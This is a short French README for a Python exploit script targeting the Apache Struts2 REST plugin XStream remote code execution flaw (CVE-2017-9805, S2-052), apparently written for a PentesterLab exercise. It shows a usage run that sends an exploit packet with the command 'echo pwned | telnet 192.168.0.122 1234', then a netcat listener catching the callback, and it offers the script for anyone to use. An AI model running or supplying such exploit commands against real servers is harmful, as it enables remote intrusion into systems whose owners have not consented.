
Script d'exploitation pour Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)
Ressources : * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
Un script d'exploitation Python capable d'exécuter des commandes à distance dans le shell d'un système hébergeant un Struts2 vulnérable à S2-052.
╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
Testé sur la machine vulnérable pentesterlab de l'exercice s2-052.
Ce script d'exploitation a été écrit par moi (zc00l) et peut être utilisé par n'importe qui.
Si vous souhaitez utiliser ou modifier ce script, veuillez créditer correctement tout travail déjà effectué.